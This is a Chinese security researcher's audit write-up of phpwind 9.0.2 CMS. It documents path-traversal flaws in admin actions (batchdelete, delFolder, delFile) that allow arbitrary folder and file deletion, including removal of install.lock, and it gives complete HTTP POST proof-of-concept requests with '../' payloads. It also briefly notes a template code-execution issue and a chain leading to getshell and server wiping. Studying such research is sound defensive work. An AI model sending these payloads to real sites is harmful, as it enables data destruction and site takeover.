代码来源:http://down.chinaz.com/soft/33130.htm
更新日志:

  1. 打包了2017年4月1日之前所有安全补丁
  2. 内置了阿里云滑动插件,免费免注册阿里云账号

0x01 前言

审计该CMS缘起于一个师傅的询问 之前实战中似乎遇到过 也在先知的众测平台上看到过 故决定测一下。

0x02 审计过程

0x02_1 任意文件夹删除

看到/src/applications/backup/admin/BackupController.php的105-119行代码如下:

public function batchdeleteAction() {
        $files = $this->getInput('files');
        !$files && $this->showError('BACKUP:name.empty');
        foreach($files as $value){
            $value = WindSecurity::escapePath($value);
            if (!$value) continue;
            if(preg_match('/^(\w{8}_pw_[^_]+_\d{14})(.*)(sql|zip)$/i', $value)){
                $deletePath = $this->_bakupDir . $value;
                WindFile::del($deletePath);
            }elseif (preg_match('/^\w{8}_pw_([^_]+)_(\d{14})/i', $value)) {
                WindFolder::rm($this->_bakupDir . $value,true);
            }
        }
        $this->showMessage('success');
    }

程序为了防止删错文件 通过正则匹配判断备份目录是否符合要求 这点是没有问题的 可以看到$value的值经过WindSecurity::escapePath()函数处理过。跟随定位到/wind/utility/WindSecurity.php文件 可以看到escapePath()函数如下

public static function escapePath($filePath, $ifCheck = false) {
        $_tmp = array("'" => '', '#' => '', '=' => '', '`' => '', '$' => '', '%' => '', '&' => '', ';' => '');
        $_tmp['://'] = $_tmp["\0"] = '';
        $ifCheck && $_tmp['..'] = '';
        if (strtr($filePath, $_tmp) == $filePath) return preg_replace('/[\/\\\]{1,}/i', '/', $filePath);
        throw new WindException('[utility.WindSecurity.escapePath] file path is illegal');
    }

这个神奇的安全类居然没有过滤.. 而且正则的后面(.*)可以为任意字符 这意味着可以遍历到上级目录去。

利用点如下:

Poc:

POST /admin.php?m=backup&c=backup&a=batchdelete HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=backup&c=backup&a=restore
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Connection: close
Cookie: 9ef_lastvisit=0%091547712655%09%2Findex.php%3Fm%3Dmisc%26c%3DwebData%26a%3Darea; 9ef_visitor=UIzmP9UFWEa6BrpY24n7UB%2BT8HkoiOLDrvMx4yhNY7U%3D; csrf_token=bfe6c3a5c955a11a; 9ef_winduser=N90DiEH5ldKAr2U%2BKaQlsfPZZoPgw4PPm%2F9gWEJ3u8OSExCfFS5PAA%3D%3D; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU

files%5B%5D=YXYJjQpA_pw_9-0-2_20190117162037/../../../coolcat/&csrf_token=bfe6c3a5c955a11a

效果:

(删除站点根目录下的文件)

相同的点还有以下几处:

Poc:

POST /admin.php?m=appcenter&c=app&a=delFolder HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=appcenter&c=app&a=install
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Connection: close
Cookie: 9ef_lastvisit=436%091547715313%09%2F; 9ef_visitor=IczumGLjUQqwd9F1%2Fv%2BE862sQVayRcCZJQ8bwpGYx8Cweirvjc4dIQ%3D%3D; csrf_token=bfe6c3a5c955a11a; 9ef_winduser=N90DiEH5ldKAr2U%2BKaQlsfPZZoPgw4PPm%2F9gWEJ3u8OSExCfFS5PAA%3D%3D; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU; _ac_624db129=4

csrf_token=bfe6c3a5c955a11a&folder=demo/../../../coolcat/

(删除站点根目录的coolcat文件夹)

0x02_2 任意文件删除

由于前面的任意文件夹删除漏洞在删除时都有个isDir()函数来判断是否为文件夹 导致无法被绕过 所以当笔者看到/src/applications/appcenter/admin/AppController.phpdelFileAction()函数 (182-188行)

public function delFileAction() {
        $file = $this->getInput('file', 'post');
        if ($file && file_exists(ATTACH_PATH . $file)) {
            WindFile::del(ATTACH_PATH . $file);
        }
        $this->showMessage('success');
    }

这里没有过滤函数 只要判断文件存在就直接调用WindFile::del()迫不及待的想去试试是否实现任意文件夹删除 结果发现根本无法正常删除。。。
ATTACH_PATH . $filedump出来后发现开发在写这个功能的时候弄错了。

如图所示 ATTACH_PATH的值是根目录下的attachment/文件夹 而此处输入的$file是根目录下data/tmp/里的文件 两者根本无法拼接 该功能对于用户而言约等于没有。(用户可将该文件第185行中的ATTACH_PATH .删除修复该问题)

搞清楚这个之后按照规则拼接以下(如上图)即可完成任意文件删除的攻击。

效果:

Poc(删除install.lock文件):

POST /admin.php?m=appcenter&c=app&a=delFile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=appcenter&c=style&a=install
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 76
Connection: close
Cookie: 9ef_lastvisit=3598%091547725340%09%2F; 9ef_visitor=ap0IOPKUvYYq36K7iFjkgcTw2NwXzKWjwRjxhUs8O5I%3D; csrf_token=bfe6c3a5c955a11a; PHPSESSID=39e8b04d7bf8e9d8823e443d82be7aa1; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU

csrf_token=bfe6c3a5c955a11a&file=/../data/install.lock

0x02_3 代码执行

通过后台=>门户=>模板管理=>添加模块 插入自定义的代码后发现代码被写入了数据库。

但是通过后台=>门户=>模板管理=>调用代码时意外发现代码被执行了 随后在群里分享时才被小伙伴提醒说撞洞了 故此处不再累赘分析。

0x03 总结

本次测试遇到的第一个问题是phpwind官网居然不能下载了?(不知道已经停更了。)直到发现小伙伴提醒代码执行这洞撞洞了去百度才知道这个问题 好在前面的洞是新的。前台本来计划也该看一下的 现在看来也没有必要了 以后测试前还是先Google看一下好 这里总结一下如何日穿phpwind。

前台=>后台:

进入后台后Getshell可通过本文0x2_3实现 服务器格盘可通过任意文件删除实现。

源链接

Hacking more

...